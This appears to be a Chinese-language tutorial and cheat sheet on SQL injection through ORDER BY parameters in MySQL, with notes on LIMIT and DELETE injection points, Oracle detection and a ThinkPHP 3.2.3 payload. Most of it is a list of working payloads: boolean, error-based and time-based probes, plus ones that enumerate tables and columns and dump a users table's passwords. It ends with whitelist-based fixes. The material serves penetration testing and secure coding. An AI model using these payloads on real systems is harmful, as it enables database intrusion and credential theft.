Order By 注入,一发入魂 Order By 注入
当遇到不是 WHERE 后的注入点时,先在本地的 MySQL 中进行尝试,看语句后面能加什么,从而判断当前可以注入的位置,进而进行针对性的注入。
LIMIT后的注入判断比较简单,通过更改数字大小,页面会显示更多或者更少的记录数。由于语法限制,前面的字符注入方式不可行(LIMIT后只能是数字),在整个SQL语句没有ORDER BY关键字的情况下,可以直接使用UNION注入。另外,我们可根据SELECT语法,通过加入PROCEDURE来尝试注入,这类语句只适合MySQL 5.6前的版本。
DELETE语句的作用是删除某个表的全部或指定行的数据。对id参数进行注入时,稍有不慎就会使WHERE后的值为True,导致整个wp_news的数据被删除。
为了保证不会对正常数据造成干扰,通常使用'and sleep(1)'的方式保证WHERE后的结果返回为False,让语句无法成功执行。
order参数可控:select * from goods order by $_GET['order']
判断
order=11 错误
order=1 正常
order=IF(1=1,name,price) 通过name字段排序
order=IF(1=2,name,price) 通过price字段排序
order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序
order=IFNULL(NULL,price) 通过price字段排序
order=IFNULL(NULL,name) 通过name字段排序
order=rand(1=1) 排序结果不同
order=rand(1=2) 排序结果不同
order=IF(1=1,1,(select+1+union+select+2)) 正确
order=IF(1=2,1,(select+1+union+select+2)) 错误
order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常
order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误
order=(select+1+regexp+if(1=1,1,0x00)) 正常
order=(select+1+regexp+if(1=2,1,0x00)) 错误
order=updatexml(1,if(1=1,1,user()),1) 正确
order=updatexml(1,if(1=2,1,user()),1) 错误
order=extractvalue(1,if(1=1,1,user())) 正确
order=extractvalue(1,if(1=2,1,user())) 错误
order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确
order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误
order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确
order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误
order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常
order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误
rand(true)
rand(false)
rand((select char(substring(table_name,1,1)) from
经过测试可以发现,order=id desc,(if(1,sleep(1),1)) 会让页面延迟1秒,于是可以利用时间延时注入获取相关数据。
开发者在编写系统框架时无法使用预编译的办法处理这类参数。事实上,只要对输入的值进行白名单比对,基本上就能防御这种注入。
出数据payload
(case when (user() like 'root%') then phone else 1 end)
id and updatexml(1,concat(0x7,user(),0x7e),1)
payload:procedure analyse(extractvalue(rand(),concat(0x3a,(select version()))),1);
payload:
and if(ascii(substr(database(),2,1))=116,0,sleep(1))
查询数据库版本:
Procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1);
查询表名:
procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479))),1);
查询字段:
procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273))),1);
查询字段内容:
procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(password) from users))),1);
修复方案
1 通过正则表达式进行字符串过滤,只允许字段中出现字母、数字、下划线。
2 通过白名单思路,使用间接对象引用。前端传递引用数字或者字符串等,用于与后端做数组映射,这样可以隐藏数据库数据字典效果,避免直接引用带来的危害。
<?php
$orderby_whitelist = array(
"apple" => "apple ASC",
"applerev" => "apple DESC",
"daterev" => "banana DESC",
"DEFAULT" => "peach"
);
$order = isset($_GET["order"]) ? $_GET["order"] : "DEFAULT";
$order_expr = array_key_exists($order, $orderby_whitelist) ? $orderby_whitelist[$order] : $orderby_whitelist["DEFAULT"];
mysql_query("SELECT ... FROM ... ORDER BY $order_expr");
小拓展
Mysql数据库中1/0是warning,还是可以成功返回内容
但是在Oracle数据库中,1/0会触发error,并不能返回查询结果:
这个特性在判断Oracle SQL注入中是一个利器。
直接在排序字段后追加1/1和1/0,返回的结果应该是不一样的:
1/1时是可以正常返回查询结果的:
1/0成功触发报错:
这里基本可以判断注入点存在了,既然1/不同内容有不同的返回,那么就可以尝试构造1/(case when 1=1 then 1 else 0 end)这样的条件判断进行注入利用了。
ThinPHP 3.2.3
order[updatexml(1,concat(0x3a,user()),1)]=1
|